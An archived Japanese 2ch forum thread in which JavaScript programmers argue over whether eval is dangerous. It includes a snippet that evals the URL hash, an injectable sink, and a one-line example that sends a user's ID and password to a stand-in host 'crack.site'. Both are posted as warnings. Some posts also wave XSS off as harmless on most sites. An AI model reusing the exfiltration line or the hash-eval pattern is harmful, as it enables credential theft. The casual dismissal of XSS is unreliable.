私的良スレ書庫
不明な単語は2ch用語を / 要望・削除依頼は掲示板へ。不適切な画像報告もこちらへどうぞ。 / 管理情報はtwitterでログインするとレス評価できます。 登録ユーザには一部の画像が表示されますので、問題のある画像や記述を含むレスに「禁」ボタンを押してください。
元スレ+ JavaScript の質問用スレッド vol.76 +
JavaScript スレッド一覧へ / JavaScript とは? / 携帯版 / dat(gz)で取得 / トップメニューみんなの評価 :
レスフィルター : (試験中)
(function(){
var script = window.location.hash;
eval(script);
})();
こんなのがあると危ないってだけ
var script = window.location.hash;
eval(script);
})();
こんなのがあると危ないってだけ
hashだから#が含まれてたな
var script = window.location.hash.substr(1);
に訂正
var script = window.location.hash.substr(1);
に訂正
evalの引数チェックなんてどうやんの？
渡すのは文字列だから、適当に分割して渡したり変数に入れて渡したり
どうとでも出来ちゃうような気がするけど。
渡すのは文字列だから、適当に分割して渡したり変数に入れて渡したり
どうとでも出来ちゃうような気がするけど。
evalに渡す引数が完全にユーザのコントロール下にあるならまるで問題ないのに、
たまにevalってだけで条件反射的にダメ出しする人がいるのは何なんだろう。
引数チェックが甘いってんなら、それはスクリプト作者の問題であって
eval自身の抱える問題ではないと思うんだが。
適切に実装してあれば何の問題もない。
いや、たとえ引数がノーチェックであっても、ユーザのコントロール下にあるなら
何等問題はないわけで。
現実問題として甘い実装をするヘボ作者が後を絶たないから
とにかくevalそれ自体が危険であるかのように騒いで問題意識を植え付け
evalを使いにくい（慎重に使わざるを得ない）雰囲気作りをしていこう！
ってことなんかな。
「危ない引数を渡すと危ないよ」ってのはある意味当たり前で、
それはevalに限らずコマンドプロンプトだって何だってそうなわけで。
たまにevalってだけで条件反射的にダメ出しする人がいるのは何なんだろう。
引数チェックが甘いってんなら、それはスクリプト作者の問題であって
eval自身の抱える問題ではないと思うんだが。
適切に実装してあれば何の問題もない。
いや、たとえ引数がノーチェックであっても、ユーザのコントロール下にあるなら
何等問題はないわけで。
現実問題として甘い実装をするヘボ作者が後を絶たないから
とにかくevalそれ自体が危険であるかのように騒いで問題意識を植え付け
evalを使いにくい（慎重に使わざるを得ない）雰囲気作りをしていこう！
ってことなんかな。
「危ない引数を渡すと危ないよ」ってのはある意味当たり前で、
それはevalに限らずコマンドプロンプトだって何だってそうなわけで。
new Image().src='http://crack.site/'+id+pass
みたいなことができてしまえば1行でユーザーのパスが取れるから、慎重になるのは当然のこと。
安全に書こうと思ったら、何が実行されるかわかりにくいevalは避ける方が自然だろ。
ポイントはわかりにくいってところだからな。
もちろん、evalを使うしかないなら使えばいいし、使う必要がないならevalは使わない方がいい。
「evalは使わない方がいい」を否定する理由があるなら是非聞いてみたい。
みたいなことができてしまえば1行でユーザーのパスが取れるから、慎重になるのは当然のこと。
安全に書こうと思ったら、何が実行されるかわかりにくいevalは避ける方が自然だろ。
ポイントはわかりにくいってところだからな。
もちろん、evalを使うしかないなら使えばいいし、使う必要がないならevalは使わない方がいい。
「evalは使わない方がいい」を否定する理由があるなら是非聞いてみたい。
そもそも外の入力をそのままevalしたら問題あるってのはJavaScriptに限った話じゃないよね
自分のサイトで自分がコントロールできている値をevalするなら問題なんてない
ただ、「自分でコントロールできている」って思い込んで外から来た値をevalしちゃう人が居るから
>>861の言う通り使うしかないなら使えばいいけど使う必要がないなら使わない方がいい
自分のサイトで自分がコントロールできている値をevalするなら問題なんてない
ただ、「自分でコントロールできている」って思い込んで外から来た値をevalしちゃう人が居るから
>>861の言う通り使うしかないなら使えばいいけど使う必要がないなら使わない方がいい
XSS自体も金が絡んだり、個人情報持っているようなサイトでやらない限り大した問題じゃない、
無料のレンタルスペース借りたら同じ事出来るでしょｗ
evalなんて好きに使って構わない
無料のレンタルスペース借りたら同じ事出来るでしょｗ
evalなんて好きに使って構わない
外の入力からサーバーのデータを変更するってんなら確かに慎重になるべきだけど
サーバーから信頼のおけるデータをロードしてevalするのは別にいいでしょ
ただそれにしたってサーバーサイドでチェックすり抜けて危険な状況に陥るわけだから
チェックを何重にするってのもわかるけどなんか気持ち悪いな
サーバーから信頼のおけるデータをロードしてevalするのは別にいいでしょ
ただそれにしたってサーバーサイドでチェックすり抜けて危険な状況に陥るわけだから
チェックを何重にするってのもわかるけどなんか気持ち悪いな
要は、何がどう危険なのかを理解しないままに
思考停止に陥って
ただ闇雲に「eval危険eval危険」と
唱えているのが一部いるってことだな
思考停止に陥って
ただ闇雲に「eval危険eval危険」と
唱えているのが一部いるってことだな
eval自体は危険じゃないな。bookmarkletで自由に使えるんだから。
>>851みたいなのが書いてあればそりゃあアウトに決まってる。
>>851みたいなのが書いてあればそりゃあアウトに決まってる。
>>833-840
>>860
たぶんPHPと混同してるんだろう
たぶんPHPと混同してるんだろう
日本のことだし、多分「eval子タン」とかいう萌えキャラ作って
「べ、別に危険じゃないんだからねッッ！！」とでも言わせときゃ
みんな使ってくれるようになると思う
「べ、別に危険じゃないんだからねッッ！！」とでも言わせときゃ
みんな使ってくれるようになると思う
危険じゃないって主張するのは構わんが、
evalを使うと(高速になる|安全になる|可読性があがる)といった理由がない限りは
「evalは使わない方がいい」だろ
evalを擁護する理由がわからん
evalを使うと(高速になる|安全になる|可読性があがる)といった理由がない限りは
「evalは使わない方がいい」だろ
evalを擁護する理由がわからん
>>875
それだとなんか逆に危険な感じがするのは勘違いなのだろうか
それだとなんか逆に危険な感じがするのは勘違いなのだろうか
>>877
ナウシカが「ここには何も無いわ」とわざわざ言って何か有るように感じさせるのと同じ事
ナウシカが「ここには何も無いわ」とわざわざ言って何か有るように感じさせるのと同じ事
>>879
json2.js使えよ
json2.js使えよ
eval使えば楽。じゃだめなのか？
forだって使い方間違えたら危険なんじゃね
forだって使い方間違えたら危険なんじゃね
>>882
ぱっとソース見た感じevalという単語があったんだが
ぱっとソース見た感じevalという単語があったんだが
json2.jsはJSONとしての正当性チェックして、最終的にはevalしてた気がする
>>846 もjson2.js使うべきだな
>>846 もjson2.js使うべきだな
>>887
JSONはeval()関数を使うことがベースとなっているようで
>JSONは前述の通り、JavaScriptのサブセットなのでeval()関数で評価することで
>JavaScriptオブジェクトに変換することができるという特徴があります
JSONはeval()関数を使うことがベースとなっているようで
>JSONは前述の通り、JavaScriptのサブセットなのでeval()関数で評価することで
>JavaScriptオブジェクトに変換することができるという特徴があります
>>889
あれ、「evalは使わない方がいい」理由は「危険だから」じゃなかったの？
あれ、「evalは使わない方がいい」理由は「危険だから」じゃなかったの？
>>891
「evalは危険だから使わないほうがいい」って主張してるやつはこのスレのどこにいるんだよ。
「evalは危険だから使わないほうがいい」って主張してるやつはこのスレのどこにいるんだよ。
eval使わなくてもsetTimeout("alert('')",0)みたいに出来るし
>>835あたりからおかしくなったな。このスレ。
Firefoxの拡張界隈ではevalを使って既存の関数の動作を書き換えたりするらしい
そういう動作をする拡張はレビュワーに「むやみにeval使うな！」って怒られるとか
そういう動作をする拡張はレビュワーに「むやみにeval使うな！」って怒られるとか
前へ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 次へ
/ 要望・削除依頼は掲示板へ / 管理情報はtwitterで / 
JavaScript スレッド一覧へ類似してるかもしれないスレッド
- + JavaScript の質問用スレッド vol.96 + (1001) - [97%] - 2012/1/28 23:01
- + JavaScript の質問用スレッド vol.86 + (1001) - [97%] - 2011/5/27 21:50
- + JavaScript の質問用スレッド vol.74 + (1001) - [97%] - 2009/12/1 6:08 ○
- + JavaScript の質問用スレッド vol.75 + (1001) - [97%] - 2010/1/23 1:07 ○
- + JavaScript の質問用スレッド vol.77 + (1001) - [97%] - 2010/5/8 19:06
- + JavaScript の質問用スレッド vol.78 + (1001) - [97%] - 2010/6/25 3:53
- + JavaScript の質問用スレッド vol.79 + (1001) - [97%] - 2010/9/11 6:50
- + JavaScript の質問用スレッド vol.126 + (348) - [95%] - 2023/1/12 17:00
- + JavaScript の質問用スレッド vol.126 + (952) - [95%] - 2015/11/18 13:15
- + JavaScript の質問用スレッド vol.106 + (1001) - [95%] - 2013/7/20 9:30
- + JavaScript の質問用スレッド vol.116 + (1002) - [95%] - 2014/7/1 0:45
- + JavaScript の質問用スレッド vol.136 + (1001) - [95%] - 2019/1/8 11:30
- + JavaScript の質問用スレッド vol.94 + (1001) - [95%] - 2012/1/8 15:46
- + JavaScript の質問用スレッド vol.81 + (1001) - [95%] - 2010/12/10 20:01
- + JavaScript の質問用スレッド vol.82 + (1001) - [95%] - 2011/1/19 7:54
- + JavaScript の質問用スレッド vol.84 + (1001) - [95%] - 2011/3/30 7:32
- + JavaScript の質問用スレッド vol.99 + (1001) - [95%] - 2012/5/7 4:32
トップメニューへ / →のくす牧場書庫について